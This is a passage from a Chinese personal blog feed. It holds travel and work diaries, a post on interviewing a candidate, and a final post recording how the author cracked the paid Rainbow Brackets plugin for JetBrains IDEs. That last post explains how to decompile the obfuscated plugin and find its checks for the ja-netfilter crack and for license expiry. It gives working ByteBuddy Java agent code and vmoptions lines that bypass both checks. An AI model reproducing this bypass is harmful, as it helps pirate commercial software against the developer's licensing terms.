&lt;/blockquote&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;去了趟厦门看海，玩了五天。&lt;/li&gt;
&lt;li&gt;和大学室友小聚吃了顿饭&lt;/li&gt;
&lt;li&gt;去了外婆家、姨妈家、姑姑家、娄底舅奶奶家、伯伯家蹭饭吃。&lt;/li&gt;
&lt;li&gt;去了趟长沙海底世界和长沙洋湖湿地公园玩了一下&lt;/li&gt;
&lt;li&gt;开了两个多小时车，期间被我爸拉了个手刹，其实我当时在慢慢踩刹车。&lt;/li&gt;
&lt;li&gt;经典最后一天，上班/上学恐惧症来了。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;流水账&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;09-20 下班去网吧玩了一会儿（来北京三年第一次去北京的网吧）。&lt;/li&gt;
&lt;li&gt;09-21 ~ 09-23 在家用手机流量开热点玩游戏，PUBG、DOTA2...（自从三月份搬家已经半年没有打开电脑玩游戏了）。&lt;/li&gt;
&lt;li&gt;09-24 飞往厦门，去参观了厦门大学 🏫（真大，比林科大大好几倍，985 牛批，资源就是丰富）。&lt;/li&gt;
&lt;li&gt;09-25 中午去了万象城吃了 Need，晚上在厦大西村吃了麦麦，恰好天气不错，在厦大白城沙滩看了日落 🌇（这几天天气预报都是雨，但是基本都是早上和大晚上下雨，白天意外地天气很好）。&lt;/li&gt;
&lt;li&gt;09-26 去了中山路步行街，吃了花前月厦·私房菜，晚上吃了金玲珑烤串。&lt;/li&gt;
&lt;li&gt;09-27 大早上去厦大白城点了杯瑞幸咖啡，在西边社附近吃了麦麦的早餐套餐，步行去了沙滩吹吹海风，下午去了日晷咖啡喝下午茶，晚上吃了凤张螺蛳粉（第一次看到干拌螺蛳粉，味道还不错，旁边安妈螺蛳粉好多人排队，不愧是大众点评第一名）。&lt;/li&gt;
&lt;li&gt;09-28 中午点了个川菜外卖，吃完就去了黄厝沙滩，沙滩上风很大，头发吹得凌乱，看到有人用降落伞在冲浪，许多人在海滩上的座椅上乘凉，很是惬意，晚上回酒店点了一个安妈螺蛳粉的外卖（确实好吃）。&lt;/li&gt;
&lt;li&gt;09-29 坐车回了长沙，和大学室友聚了一餐，晚上坐车回了家。&lt;/li&gt;
&lt;li&gt;09-30 早上起来好冷，冻醒了，去了外婆家吃午餐。&lt;/li&gt;
&lt;li&gt;10-01 姨妈和姨父突然放假回家了，下午接了他们一起去外婆家吃饭了，然后晚上就商量了明天的出行计划。&lt;/li&gt;
&lt;li&gt;10-02 大早上吃了外婆做的面条，就出发去了长沙海底世界，中午吃了笨罗卜，带大人们体验排队吃饭的感觉（四个人点了四个菜刚好吃完），下午去了长沙洋湖湿地公园，风很大，吹了一会儿风，就开车回家了（我开的，开了一个多小时到家），晚上去了姨妈家蹭饭吃。&lt;/li&gt;
&lt;li&gt;10-03 大早上镇上赶集，奶奶喊我起来开小电驴带她去，一起买了菜苗，买了一些包子，我看奶奶要买内裤穿，我说我给你在网上买，回去晚上就上淘宝买了，中午我做了一个辣椒炒豆腐炒肉和空心菜吃，还不错。&lt;/li&gt;
&lt;li&gt;10-04 去娄底吃小孩子的三周饭，叔叔也去了，叔叔现在二胎了，牛批，吃完饭就溜了，下午又是我开车回去（又开了一个多小时），晚上去姑姑家蹭饭吃，人太多没位置坐，吃了三四口就没吃了，站在地坪里耍手机等回家。&lt;/li&gt;
&lt;li&gt;10-05 奶奶大早上起来给我杀了一只鸡想让我带到北京去，由于不好带一直嘱咐我切了炒一下再带过去，但是我懒得动。中午去伯伯家吃饭，伯伯现在在开收割机但是饭点还没回，刚好要送东西过去，就去看了收割机收谷。晚上去外婆家吃饭，顺便就把整个鸡带到外婆家去处理了，起初我在慢慢切，但是外婆嫌我切太慢就一顿咔咔切好了弄好了。晚上吃饭的时候吐槽了北京的辣椒不辣，葱太大没有小葱，于是就给我准备了很多辣椒，也弄了白菜和小葱。&lt;/li&gt;
&lt;li&gt;10-06 跟着爸爸坐车去了株洲，他到了工地，我妈就开车去了她的生产车间（纺织业），我姐姐刚好也在里面做事就一起进去看看姐姐，纺织业基本还是女性偏多，进去就是“啊，这是你儿子啊，这儿高，长得也帅”，搞得不是很好意思，看了一圈就溜出来了。11 点多坐上了去长沙的火车，14 点多坐上去去北京的火车，由于之前一直在外面玩忘记买返程票了，所以就在车上站了四个小时，晚上回到出租房顿时有一种孤独感扑面而来，就给外婆打了视频，刚好带了超多菜，就一直询问哪些菜怎么保存比较好，晚上炒了两个菜吃完饭，洗完澡看了会比赛就睡觉了。&lt;/li&gt;
&lt;li&gt;10-07 躺在床上无所事事，吃了睡睡了吃，没有动力做任何事情，感觉报废了，明天上班希望一切顺利。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>日记</title><link>https://reajason.eu.org/writing/20240907diary/</link><guid isPermaLink="true">https://reajason.eu.org/writing/20240907diary/</guid><pubDate>Sat, 07 Sep 2024 14:31:27 GMT</pubDate><content:encoded>&lt;h2&gt;昨日聚餐&lt;/h2&gt;
&lt;p&gt;酒桌文化，色情文化充斥着整个房间，大家说笑的内容一直都是情色相关的东西。（我也是哈哈大笑的一员）。真不建议领导拱火同事间的关系，真是不太行。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;杰宝（jb）&lt;/li&gt;
&lt;li&gt;高达（byt）&lt;/li&gt;
&lt;li&gt;男男&lt;/li&gt;
&lt;li&gt;劲酒 + 红牛&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;因为公司不大，人数不多，领导们和员工距离不是特别远，吃饭喝酒的时候也不会特别大架子（可能我不怎么注意这方面的酒桌文化），让我喝，我就自己倒酒一只手拿杯子喝了，什么话也不说。&lt;/p&gt;
&lt;p&gt;因为喝了好几杯啤酒，回来沾床就睡也是蛮厉害的。&lt;/p&gt;
&lt;p&gt;比起公司聚餐，朋友间的聚餐可能更让人舒缓，吃吃饭说点有的没的就差不多了，不会那么强制要求说有互动什么的，让人处于紧绷的状态，怪难受的。&lt;/p&gt;
&lt;h2&gt;工作繁忙&lt;/h2&gt;
&lt;p&gt;难以复现的 bug 让我遇到了，还亟待解决，好难受好难受。&lt;/p&gt;
&lt;p&gt;最近在做规则引擎开发，也是比较有挑战性的任务。&lt;/p&gt;
&lt;h2&gt;分离焦虑&lt;/h2&gt;
&lt;p&gt;08-28 和女朋友分开了。刚好是周三我并没有请假去送。我害怕分离，还记得有一次一个人在车站哭了超级久，因为常背书包有带抽纸的习惯，当时擦眼泪的纸，都要填满一层书包了。这次送到了地铁站就离开了，地铁驶离的时候下意识朝地铁行进方向行进了一步，但又停下来上楼出去了，因为今天上班。&lt;/p&gt;
&lt;p&gt;08-29 是糟糕的一天。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;之后的几天一天一冲。感谢女娲造人的时候发明了不应期 (性)，我不敢想象要是没有贤者时间，一个人走火入魔的时候会不会直接冲死掉。&lt;/p&gt;
&lt;p&gt;直到今天才找到生活的节奏，听听音乐写写东西让心静下来，也可能是喝酒让我心静下来了，小酌怡情。&lt;/p&gt;
</content:encoded></item><item><title>上海出差</title><link>https://reajason.eu.org/writing/businesstripinshanghai/</link><guid isPermaLink="true">https://reajason.eu.org/writing/businesstripinshanghai/</guid><pubDate>Sun, 11 Aug 2024 14:10:00 GMT</pubDate><content:encoded>&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;总共出差了六周时间。从来没出差过这么久，快变成驻场工程师了「彻底疯狂」。&lt;/li&gt;
&lt;li&gt;加了「一百个」群，体验到了「年薪百万」的痛苦，那个时候真的分得开生活和工作吗？&lt;/li&gt;
&lt;li&gt;真真切切地感受到了「老师」文化 —— 大部分人都能称呼为老师除了领导、「免责」文化 —— 争论只为得出如果出了问题是谁的责任。&lt;/li&gt;
&lt;li&gt;遇到了一个很好的客户，加班结束带我去吃夜宵，值班前带我去陆家嘴吃川菜，还讲述自己的工作经历并给予了一些可行性的职业指导。&lt;/li&gt;
&lt;li&gt;大公司的管理协调起来真的十分困难，能在客户这样的位置上协调各部分开展工作，无疑需要强大的魄力和勇于开拓的精神，我差得太远了，我自己都管不过来。&lt;/li&gt;
&lt;li&gt;住到了一个相当糟糕的房子（这也是我迫切想离开的原因，导火索），长期出差的话建议在住的上面多花一点时间（我当时心情有点糟糕失了智），&lt;s&gt;住得稍微好一点，心情可能会好些&lt;/s&gt;。&lt;/li&gt;
&lt;li&gt;我不敢想象加班加到九点能准点下班也变成了一件值得庆幸的事情。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;心路历程&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;[兴奋与期待]&lt;/strong&gt; - 对于城市景观来说，各地大同小异，但是听说要去从未涉足的上海，一下提起了兴趣，最开始和说的一周的出差时间，我想应该能应付得来「实际上并非如此」。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[措手不及]&lt;/strong&gt; - 刚到客户那里，就被拉去开会。满脸蒙蔽地敲定了之前已经讨论好的解决方案。实施过程中，遇到了一些困难，需要因地制宜地编写实施文档，每天都在调整。随着微信群、钉钉群的增多，一下子要处理和回答的问题就变得越来越多，我渐渐开始手忙脚乱。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[换位思考]&lt;/strong&gt; - 作为客户端的研发，平台对于我来说，平时开发过程中基本只用一小部分的功能，但在站在客户的角度，体验到的是完全不同的使用场景，发现了很多实际使用过程中的痛点，每次遇到问题，我都会加入自己的一点点思考，积极反馈到项目群里。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[内向者的挣扎]&lt;/strong&gt; - 随着客户量地增大，提出问题的人也就越多。“我已经加了一百个群”，成了我每当难受的时候的内心独白。作为一个 I 人，选择技术工作正是因为不善交际（虽然这个想法并不可取，在软件工程中，编码只是一小部分），有时候，即使我并非真的不善言辞，频繁的交流还是让我感到痛苦。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[技术渴望]&lt;/strong&gt; - 作为客户端研发，出现了问题，能修复的在客户现场也还是需要写代码的，当然精力有限只能修复一些较小看起来较明显的 bug，稍微复杂的一点就力不从心了。我感觉我已经有好几周没有碰过代码了，这让我倍感煎熬。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[焦虑蔓延]&lt;/strong&gt; - 随着客户量增加，安全产品得到了大量部署，其中也暴露了一些问题。作为研发，我需要解答问题，有时还要紧急修复。渐渐地老是担忧着可能会发生某种问题，导致不能专心做任何事情，但明明有许多的事情亟待解决，例如发布规范化、添加更多的测试用例、增强防护能力、优化自动化测试部署流程等等。一个人在现场过久也渐渐疲惫了许多，很多事情开始有心无力，no more talk, no more sleep.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[希望与幻灭]&lt;/strong&gt; - 第四周，有个小老弟来这边一起值班咯，我终于不用一个人独自面对一切。问了他一些问题，让我想起来我似乎也角色互换了，成为了那个在客户现场独当一面的大哥。来了之后我教了他平台功能以及日常的工作内容，如攻击加白以及资产梳理等等。我以为我能全身而退，驻场太久想回去写代码了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[无奈与坚持]&lt;/strong&gt; - 不幸的是，第五周，我教了一周我感觉他能胜任工作的小老弟被派到其他地方去了，我又变成了一个人。我开始质疑领导的决策，回想起他们之前询问新同事是否帮我分担工作时的&quot;嘘寒问暖&quot;，现在想来真是令人哭笑不得。就这样，我无精打采地又值守了两周，所幸没有遇到特别棘手的问题。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[通宵与感悟]&lt;/strong&gt; - 离别前的最后一晚突发状况无奈通宵加班，生命诚可贵，好好休息。&lt;/p&gt;
&lt;h2&gt;思考&lt;/h2&gt;
&lt;p&gt;作为一名臭写代码的，平时的交流甚少，大多数时候都处于无需沟通的状态。然后，在出差的这一个月里，从最初遇到问题时杂乱无章、口齿不清地解释，到后来能够从容不迫地阐述问题并冷静处理。首先，我要感谢客户的高度配合和强大的亲和力，这让我不再那么紧张和害怕。其次，随着沟通机会的增多，我发现自己说话变得更加自然，不再急于解释，而是学会了慢慢道来，条理清晰地阐述问题。这种变化让我想起了一直以来我所羡慕的前台人员，如售前和销售。他们面对陌生客户时仍能从容不迫地介绍产品、解决问题的能力，一直是我向往的。现在，我似乎也触碰到了这种能力的边缘，虽然还有很长的路要走，但这无疑是一个良好的开始。&lt;/p&gt;
&lt;p&gt;就像互联网上所说，大多数的人都解决了温饱问题，开始去探索活着的意义，工作的意义~ 我想我是不是也在想这件事情。&lt;/p&gt;
&lt;p&gt;无论我们扮演何种角色，解决问题始终是我们生活的核心。这些问题的性质和复杂度随着我们的身份而变化，但挑战始终存在。&lt;/p&gt;
&lt;p&gt;作为管理者，我们面临的是组织和决策的难题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如何有效调度各类人才以完成任务&lt;/li&gt;
&lt;li&gt;如何为所提供的服务制定整体方向&lt;/li&gt;
&lt;li&gt;如何应对人员增多带来的管理压力&lt;/li&gt;
&lt;li&gt;如何协调不同部门之间日益复杂的协作关系&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;作为技术人员，我们则需要直面技术的挑战：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;解决各种疑难杂症&lt;/li&gt;
&lt;li&gt;引入并整合不同的技术栈以实现功能&lt;/li&gt;
&lt;li&gt;掌控因业务扩展和中间件增多而带来的系统复杂度&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而作为个人，我们还要应对日常生活中的种种选择：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;决定每一餐吃什么&lt;/li&gt;
&lt;li&gt;在工作与生活之间寻找平衡点&lt;/li&gt;
&lt;li&gt;处理随着年龄增长、工作经验积累、阅历丰富而产生的各种新问题&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在这一个多月的出差生活中，我丢弃了代码，我丢弃了书本，全身心地投入工作，解决接踵而至的问题。而今，我终于脱离了那繁忙的环境。此刻，是时候享受这来之不易的宁静了，翻看我计划已久待涉猎的书籍，写我想写的代码，规划一下自己的时间......&lt;/p&gt;
</content:encoded></item><item><title>第一次成为面试官</title><link>https://reajason.eu.org/writing/firsttimeasinterviewer/</link><guid isPermaLink="true">https://reajason.eu.org/writing/firsttimeasinterviewer/</guid><pubDate>Wed, 29 May 2024 21:55:55 GMT</pubDate><content:encoded>&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;整个面试时间持续了 45 分钟，还蛮长的&lt;/li&gt;
&lt;li&gt;面试他人也是在面试自己，因为你需要思考自己会什么&lt;/li&gt;
&lt;li&gt;我并没有问算法题，因为我也不会算法&lt;/li&gt;
&lt;li&gt;我认为编程爱好者，🪜翻墙应该算必备技巧（构建速度慢、下载速度慢怎么能忍）&lt;/li&gt;
&lt;li&gt;建议面试者在面试的时候引导话题到擅长的领域（所以简历需要写一些自己想聊的话题）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;面试问题&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;你了解 Java Agent 吗？&lt;/li&gt;
&lt;li&gt;我看你实习的两个项目都是在校实习的时候做的，这两个项目都比较复杂你在里面扮演什么样的角色，负责哪一块？以第一个项目为例即可？&lt;/li&gt;
&lt;li&gt;我看到这个负责有一个权限管理的模块，你是怎么实现的，是用的 RBAC 吗？&lt;/li&gt;
&lt;li&gt;你在项目中遇到过哪些有挑战性的任务以及你最后是怎么解决的？&lt;/li&gt;
&lt;li&gt;你参与了这个项目你有部署过吗，我看都比较复杂，k8s 还是 docker-compose 啥的？&lt;/li&gt;
&lt;li&gt;我看你了解 Linux 的基本指令，你平时有写什么项目部署不？有没有服务器？&lt;/li&gt;
&lt;li&gt;简历里面写了你前端和后端也会你看的是哪一个培训视频的教程或者通过何种方式学习的？&lt;/li&gt;
&lt;li&gt;你有没有写过博客不，用不用 GitHub，有没有参与过社区开发 PR 之类的？&lt;/li&gt;
&lt;li&gt;Spring AOP 里面有哪些概念？&lt;/li&gt;
&lt;li&gt;Spring AOP 支撑的技术细节是什么设计模式？&lt;/li&gt;
&lt;li&gt;你了解动态代理不，你用过哪些 Spring AOP 的注解？&lt;/li&gt;
&lt;li&gt;你设计 API 的时候有了解 RESTFul API 风格不？&lt;/li&gt;
&lt;li&gt;你前面说用了 Spring Security，你认证用的是 JWT 吗，就是用的是 Token 还是 Session？&lt;/li&gt;
&lt;li&gt;你了解类加载机制不，双亲委派模型？&lt;/li&gt;
&lt;li&gt;我看到你简历最下面有些会阅读计算机相关的书籍，你有看过什么书除了 Java 方向的其他方向的？&lt;/li&gt;
&lt;li&gt;当你遇到一个编程问题你会怎么解决？会不会翻墙，你现在有用什么 AI 大模型？&lt;/li&gt;
&lt;li&gt;你有没有想问我的问题？&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;面试感想&lt;/h2&gt;
&lt;p&gt;以上所有面试题目中，我最在意的是面试者是否会翻墙（就是不断折腾，优化自己的开发体验才会去想办法优化自己的工作流，在编程中才会不断提高自己的开发效率，比如大佬一定有自己独特的调试开发技巧）；其次 Spring AOP 中很多概念刚好符合工作（Java Agent 研发）所需，比如代理模式的目的就是权限控制和安全隔离；其他问题都是在看面试者对编程这件事情的爱好程度。&lt;/p&gt;
&lt;p&gt;初入职场确实会非常紧张，当我听到 ta 说面试官你好的时候，我就回想到我第一次面试的时候了，hhhh🫠。自我介绍的时候最好说一些简历上没有的，因为直接念简历就感觉少了点什么。不太了解的东西建议不要写在简历中，因为面试官看到什么可能就会问什么，面试过程中我基本都是看着简历在问的。整个面试过程中可能我也没把控好节奏，有时候看到面试者半天没有声音，我就紧接着下一个问题了，有些类似的问题会换着问两三遍，可能问一次会减少面试者的压力。最后我也分享了一些冲浪技巧给 ta（Clash 系删库过一次，所以现在换新的外套了，变成 &lt;a href=&quot;https://github.com/MetaCubeX&quot;&gt;Clash-Meta&lt;/a&gt; 了，GPT4 指路 &lt;a href=&quot;https://coze.com/&quot;&gt;coze.com&lt;/a&gt;）&lt;/p&gt;
&lt;p&gt;对于新入门的 Javaer，我有点想说的，Java 技术栈确实特别卷，你的精力是有限的，目前 Java 杀手锏也就是 SpringBoot，因此你把 SpringBoot 里面的一些基础技术原理多熟悉了解一下会比一直去堆技术栈要好。第一次面试发现还是蛮有意思的，如果有想面试玩的（分享冲浪姿势），可以发我简历到邮箱 &lt;a href=&quot;mailto:reajason1225@gmail.com&quot;&gt;reajason1225@gmail.com&lt;/a&gt;，欢迎聊聊。&lt;/p&gt;
</content:encoded></item><item><title>记录 Rainbow Brackets 插件破解</title><link>https://reajason.eu.org/writing/rainbowbracketscracked/</link><guid isPermaLink="true">https://reajason.eu.org/writing/rainbowbracketscracked/</guid><pubDate>Fri, 08 Mar 2024 21:55:55 GMT</pubDate><content:encoded>&lt;h2&gt;心血来潮&lt;/h2&gt;
&lt;p&gt;用 IDEA 代码写多了，界面看腻了，主题也玩腻了，突然想起来有一个给成对括号加颜色的插件，就是叫作 &lt;a href=&quot;https://plugins.jetbrains.com/plugin/10080-rainbow-brackets&quot;&gt;Rainbow Brackets&lt;/a&gt;。因为之前一直用 &lt;a href=&quot;https://zhile.io/2021/11/29/ja-netfilter-javaagent-lib.html&quot;&gt;ja-netfilter&lt;/a&gt; 破解 IDEA，所以 IDEA 里面很多付费插件也能一并破解，我熟练地去 &lt;a href=&quot;https://3.jetbra.in/&quot;&gt;3.jetbra.in&lt;/a&gt; 找到激活码输进去了，结果显示了下图，说检测到 ja-netfilter 破解 IDE 所以不准用付费功能，其实我并没有多么想使用付费功能，只是想把这个红色提示语变成绿色的，于是就开始了逆向之旅。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;反编译&lt;/h2&gt;
&lt;p&gt;由于有了 Java Agent 的经验（Java Agent 可在应用启动前做字节码修改改变程序逻辑），因此在启动前修改这个判断逻辑是一定能做到的。&lt;/p&gt;
&lt;p&gt;破解第一步试图拿到源码，查看哪里做了检测，使用 IDEA 丢进去一看，就傻眼了，这混淆姿势我都想学了，Java 代码全部扁平化，直接包名都给干掉了，然后全是这种字符。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;里面很多文件都是有 &lt;code&gt;Class.forName&lt;/code&gt; 想调用某个类名的方法，我就点进去，恍然大悟，在 &lt;code&gt;ਧભ.class&lt;/code&gt; 中看到了下面这些加密字符串，这块看起来就特别令人好奇都是些啥。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;这块也不是特别有必要去逆向字符串加解密，因为我们有伟大的 Remote JVM 调试功能。可参考 &lt;a href=&quot;https://zhuanlan.zhihu.com/p/95098721&quot;&gt;图文并茂教你学会使用 IntelliJ IDEA 进行远程调试&lt;/a&gt;，配合 ChatGPT 啥的大语言模型学习更迅速哦。由于 IDEA 不能自己调试自己，所以我使用 PyCharm 安装了 Rainbow Brackets 插件并开启了调试。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在 PyCharm 中的 vmoptions 里面加了一行 -agentlib:jdwp=transport=dt_socket,server=n,address=*:5005,suspend=y，记住加了之后如果不执行第二步打开调试是打不开 PyCharm 哦，所以调试完记得去掉。&lt;/li&gt;
&lt;li&gt;打开 IDEA，使用 Listen to remote JVM 模式，在 &lt;code&gt;ਧભ.class&lt;/code&gt; 最下面一个变量打断点，开启 PyCharm 并随便打开一个项目，则可看到下面这些变量&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;因为这个插件混淆程度太强了，在 IDEA 中也无法搜索 Jar 中的代码，因此就需要使用专门用来反编译 Java 代码的利器 —— &lt;a href=&quot;https://github.com/skylot/jadx&quot;&gt;jadx&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;大约只需要这三个功能我们就足够了，第一个就是全文搜索文本，第二个就是查看当前选中哪儿有引用。第三个就是双击选中跳到声明处。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;一层层往上找，最终发现这儿用到了，You are using ja-netfilter to crack the IDE. To activate this plugin pls remove it from your IDE class path 这句话。双击这个 &lt;code&gt;m1141&lt;/code&gt; 跳转到它的声明。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;核心逻辑&lt;/h2&gt;
&lt;h3&gt;C0507.m83()&lt;/h3&gt;
&lt;p&gt;判断了是否能调用 &lt;code&gt;com.janetfilter.core.utils.StringUtils.isEmpty(&quot;&quot;)&lt;/code&gt;，如果调用成功就为 true。这个就是尝试执行 ja-netfilter 中的代码，看有没有引用 ja-netfilter。&lt;/p&gt;
&lt;p&gt;破解方式：让这个方法调用报错才能让其返回 false&lt;/p&gt;
&lt;h3&gt;C0437.m470()&lt;/h3&gt;
&lt;p&gt;调用了 &lt;code&gt;com.intellij.diagnostic.VMOptions.getUserOptionsFile()&lt;/code&gt; 获取 vmoptions 文件，然后判断文件内容，里面是否包含了 &lt;code&gt;ja-netfilter&lt;/code&gt;、&lt;code&gt;netfilter&lt;/code&gt;、&lt;code&gt;javaagent&lt;/code&gt;、&lt;code&gt;pojie&lt;/code&gt; 和 &lt;code&gt;破解&lt;/code&gt; 字符串，只有都不命中才返回 false。&lt;/p&gt;
&lt;p&gt;破解方式：改变 &lt;code&gt;com.intellij.diagnostic.VMOptions.getUserOptionsFile&lt;/code&gt; 的返回值，将其返回默认的文件路径即可，这样实际用的是我们自定义的 vmoptions，在这儿让它去默认的 vmoptions 里面找，当然就找不到这些字符串了。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;第一次尝试破解&lt;/h2&gt;
&lt;p&gt;使用我之前做的一个小项目 &lt;a href=&quot;https://github.com/JAgentSphere/bytebuddy-agent-demo&quot;&gt;bytebuddy-agent-demo&lt;/a&gt;，啪，很快啊，代码写好了，我们赶紧试试吧。&lt;/p&gt;
&lt;p&gt;获取默认 vmoptions 配置文件的方法直接借鉴的 &lt;code&gt;com.intellij.diagnostic.VMOptions.getUserOptionsFile&lt;/code&gt; 源码里面的最后，使用 &lt;code&gt;PathManager.getCustomOptionsDirectory()&lt;/code&gt; + &lt;code&gt;getFileName&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Internal
public static @Nullable Path getUserOptionsFile() {
    String vmOptionsFile = System.getProperty(&quot;jb.vmOptionsFile&quot;);
    if (vmOptionsFile == null) {
        return null;
    } else {
        Path candidate = Path.of(vmOptionsFile).toAbsolutePath();
        if (!PathManager.isUnderHomeDirectory(candidate)) {
            return candidate;
        } else {
            String location = PathManager.getCustomOptionsDirectory();
            return location == null ? null : Path.of(location, getFileName());
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/**
 * 在 getUserOptionsFile 获取配置文件时返回默认的文件位置
 * &amp;lt;p&amp;gt;
 * 在 StringUtils.isEmpty 方法中，如果不是 com.janetfilter 包下的类调用，则抛出异常
 */
private static void byPassJavaAgent(AgentBuilder agentBuilder, Instrumentation inst) {
    agentBuilder.type(ElementMatchers.named(&quot;com.intellij.diagnostic.VMOptions&quot;))
            .transform(((builder, typeDescription, classLoader, module, protectionDomain) -&amp;gt;
                    builder.visit(Advice.to(VMOptionsInterceptor.class).on(ElementMatchers.named(&quot;getUserOptionsFile&quot;))))
            ).installOn(inst);

    agentBuilder.type(ElementMatchers.named(&quot;com.janetfilter.core.utils.StringUtils&quot;))
            .transform(((builder, typeDescription, classLoader, javaModule, protectionDomain) -&amp;gt;
                    builder.visit(Advice.to(StringUtilsInterceptor.class).on(ElementMatchers.named(&quot;isEmpty&quot;)))))
            .installOn(inst);
}

public static class StringUtilsInterceptor {
    @Advice.OnMethodEnter
    public static void interceptorBefore(@Advice.AllArguments Object[] args,
                                            @Advice.Origin(&quot;#m&quot;) String methodName) {
        if (&quot;isEmpty&quot;.equals(methodName)) {
            Object arg = args[0];
            if (arg != null &amp;amp;&amp;amp; arg.toString().isEmpty()) {
                if (!new Throwable().getStackTrace()[2].getClassName().startsWith(&quot;com.janetfilter.&quot;)) {
                    throw new RuntimeException(&quot;fuck you&quot;);
                }
            }
        }
    }
}

public static class VMOptionsInterceptor {
    @Advice.OnMethodExit
    public static void interceptor(@Advice.Return(readOnly = false) Path ret) {
        try {
            if (new Throwable().getStackTrace()[2].getClassName().startsWith(&quot;jdk.internal.reflect&quot;)) {
                String fileName = (String) Class.forName(&quot;com.intellij.diagnostic.VMOptions&quot;).getDeclaredMethod(&quot;getFileName&quot;).invoke(null);
                String location = (String) Class.forName(&quot;com.intellij.openapi.application.PathManager&quot;).getDeclaredMethod(&quot;getCustomOptionsDirectory&quot;).invoke(null);
                ret = Paths.get(location, fileName);
            }
        } catch (Exception e) {
            // ignore
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 vmoptions 中 ja-netfilter &lt;strong&gt;之前&lt;/strong&gt; 加入我们的 javaagent，启动，例如下方的 vmoptions 文件节选&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-javaagent:/Users/reajason/IdeaProjects/bytebuddy-agent-demo/test/rainbow-brackets-cracked.jar
-javaagent:/Users/reajason/ReaJason/jetbra/ja-netfilter.jar=jetbrains
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动之后显示了一个 There is no valid license in your account.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;起初我以为我登了账号所以显示，我就把我 IDE 的账号给退掉了，还是这样，看到这个 license 我就想起来之前有一块代码里面有 license 相关的东西。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;经过不懈的努力，反复调试，我终于找到了华点！它判断了我的过期时间是不是大于 60 天，目前的激活码默认到了 2026 年，肯定是寄了。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;调试的方法就是傻傻地找个地方打断点然后利用反射 API 看里面值的状态，如下图，查看证书过期时间&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Class.forName(&quot;com.intellij.ui.LicensingFacade&quot;).getDeclaredMethod(&quot;getLicenseExpirationDate&quot;).invoke(Class.forName(&quot;com.intellij.ui.LicensingFacade&quot;).getDeclaredMethod(&quot;getInstance&quot;).invoke(null))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;第二次破解&lt;/h2&gt;
&lt;p&gt;咱暴力一点，直接在调用 &lt;code&gt;com.intellij.ui.LicensingFacade.getLicenseExpirationDate&lt;/code&gt; 只给它返回当前时间 50 天的时间。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
* 设置证书过期时间为 50 天，绕过大于 60 天的检测
*/
private static void byPassLicense(AgentBuilder agentBuilder, Instrumentation inst) {
    agentBuilder.type(ElementMatchers.named(&quot;com.intellij.ui.LicensingFacade&quot;))
            .transform((builder, typeDescription, classLoader, javaModule, protectionDomain) -&amp;gt;
                    builder.visit(Advice.to(LicenseExpirationInterceptor.class).on(ElementMatchers.named(&quot;getLicenseExpirationDate&quot;))))
            .installOn(inst);
}

public static class LicenseExpirationInterceptor {
    @Advice.OnMethodExit
    public static void exit(@Advice.Return(readOnly = false) Date ret) {
        Calendar calendar = Calendar.getInstance();
        calendar.add(Calendar.DAY_OF_MONTH, 50);
        ret = calendar.getTime();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在编译后，重启 PyCharm，芜湖行了，付费功能也能用了~（主要是变绿了，hhh）&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
